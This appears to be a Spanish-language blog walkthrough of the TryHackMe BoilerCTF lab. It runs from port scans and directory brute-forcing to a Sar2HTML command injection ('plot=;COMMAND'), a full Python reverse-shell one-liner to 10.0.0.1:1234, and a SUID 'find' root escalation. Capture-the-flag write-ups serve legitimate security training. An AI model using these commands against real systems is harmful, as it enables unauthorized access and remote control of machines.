This page looks best with JavaScript enabled

TryHackMe - BoilerCTF

 ·  ☕ 6 min read  ·  ✍️ sckull

BoilerCTF es una maquina de TryHackMe aqui encontrarás la solucion para obtener las flag user.txt y root.txt.

Informacion de la Maquina

Titulo Biohazard
Info Intermediate level CTF
Puntos 300
Dificultad Media
Maker MrSeth6797

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), http (80), Webmin (10000) y el puerto ssh (55007) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# Nmap 7.80 scan initiated Tue Aug 11 21:20:00 2020 as: nmap -sV -o mini_scan boiler.thm
Nmap scan report for boiler.thm (10.10.29.145)
Host is up (0.25s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
10000/tcp open  http    MiniServ 1.930 (Webmin httpd)
55007/tcp open  unknown
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 11 21:21:19 2020 -- 1 IP address (1 host up) scanned in 78.77 seconds

Para verificar SSH en el puerto 55007 utilizamos netcat.

1
2
3
root@upset:~/thm/boilerctf# nc boiler.thm 55007
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
^C

FTP

Ingresamos en el servicio FTP con las credenciales anonymous, encontramos un archivo que contiene un mensaje cifrado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@upset:~/thm/boilerctf# ftp boiler.thm 
Connected to boiler.thm.
220 (vsFTPd 3.0.3)
Name (boiler.thm:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 .
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 ..
-rw-r--r--    1 ftp      ftp            74 Aug 21  2019 .info.txt
226 Directory send OK.
ftp> get .info.txt
local: .info.txt remote: .info.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .info.txt (74 bytes).
226 Transfer complete.
74 bytes received in 0.00 secs (802.9514 kB/s)
ftp> pwd
257 "/" is the current directory
ftp> quit
221 Goodbye.
root@upset:~/thm/boilerctf# cat .info.txt 
Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!
root@upset:~/thm/boilerctf#

Utilizamos dcode.fr para obtener el mensaje, pero no ayudo mucho.
image

HTTP

Encontramos una pagina web en el puerto 80.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
6
7
8
root@upset:~/thm/boilerctf# gobuster dir -u http://boiler.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/index.html (Status: 200)
/index.html (Status: 200)
/joomla (Status: 301)
/manual (Status: 301)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)

En robots.txt encontramos varias direcciones “escondidas”, además de eso un mensaje “codificado”.
image

Utilizamos ASCII to text para obtener un nueva cadena codificada.
image

Utilizamos CyberChef para decodificar la cadena.
image

Utilizamos CrackStation para obtener el mensaje que no sirve de mucho.
image

GOBUSTER - JOOMLA

Pagina en Joomla.
image

Utilizamos gobuster para busqueda de directorios y archivos en /joomla.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@upset:~/thm/boilerctf# gobuster dir -u http://boiler.thm/joomla/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/_files (Status: 301)
/_test (Status: 301)
/~www (Status: 301)
/administrator (Status: 301)
/bin (Status: 301)
/build (Status: 301)
/cache (Status: 301)
/components (Status: 301)
/configuration.php (Status: 200)
/images (Status: 301)
/includes (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/installation (Status: 301)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/LICENSE.txt (Status: 200)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/README.txt (Status: 200)
/templates (Status: 301)
/tests (Status: 301)
/tmp (Status: 301)
/web.config.txt (Status: 200)

En /_files encontramos una cadena codificada.
image

Utilizamos CyberChef para decodificar la cadena y encontramos un posible nombre de usuario.
image

En /_database encontramos una cadena cifrada.
image

Utilizamos dcode.fr para decifrar el mensaje pero no sirvio de nada.
image

Sar2HTML - RCE

En /_test encontramos Sar2HTML al buscar una vulnerabilidad en este software encontramos que podemos ejecutar comandos en la maquina. Para ello debemos de seleccionar el Sistema Operativo (OS) y en la URL _test/index.php?plot=;COMANDO colocamos nuestro comando a ejecutar y al final del dropdown en Select Host encontramos el resultado de nuestro comando ejecutado. Ejecutamos id.
image

Ejecutamos ls -lah y tambien logramos ver el resultado, donde vemos el archivo log.txt.
image

Hacemos cat al archivo, utilizamos CyberChef - Strip HTML tags para leer el html que se muestra y obtener el resultado limpio.
image

USER - WWW-DATA/BASTERD

Encontramos en el archivo un log de acceso del servicio SSH donde se muestra el usuario basterd y su “contraseña”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Select HostHPUXLinuxSunOS
Aug 20 11:16:26 parrot sshd[2443]: 
Server listening on 0.0.0.0 port 22.Aug 20 11:16:26 parrot sshd[2443]: 
Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: [... REDACTED ...]
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.
Select Host FirstSelect Start Date First	

Ejecutamos una shell inversa y obtenemos una shell con el usuario www-data.
image

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Además utilizamos la contraseña que encontramos en el servicio SSH y obtenemos una shell con el usuario basterd.
image

USER - STONER

En la carpeta principal de basterd encontramos un archivo que realiza una copia a /usr/local/backup y log en /home/stoner/bck.log de todo lo que existe en /home/stoner, además encontramos lo que parece ser una “contraseña” comentada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
REMOTE=1.2.3.4
SOURCE=/home/stoner
TARGET=/usr/local/backup
LOG=/home/stoner/bck.log 
DATE=`date +%y\.%m\.%d\.`
USER=stoner
#[... REDACTED ...]

ssh $USER@$REMOTE mkdir $TARGET/$DATE

if [ -d "$SOURCE" ]; then
    for i in `ls $SOURCE | grep 'data'`;do
	     echo "Begining copy of" $i  >> $LOG
	     scp  $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
	     echo $i "completed" >> $LOG
		
		if [ -n `ssh $USER@$REMOTE ls $TARGET/$DATE/$i 2>/dev/null` ];then
		    rm $SOURCE/$i
		    echo $i "removed" >> $LOG
		    echo "####################" >> $LOG
				else
					echo "Copy not complete" >> $LOG
					exit 0
		fi 
    done    
else
    echo "Directory is not present" >> $LOG
    exit 0
fi

Utilizamos la “contraseña” y logramos obtener una shell con el usuario stoner y nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con find para encontrar archivos con permisos SUID y vemos el comando/archivo find. Utilizamos find para obtener una shell root.

1
/usr/bin/find . -exec /bin/sh -p \; -quit

Obtenemos una shell con el usuario root.
image

Y nuestra flag root.txt.
image

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

THM: BoilerCTF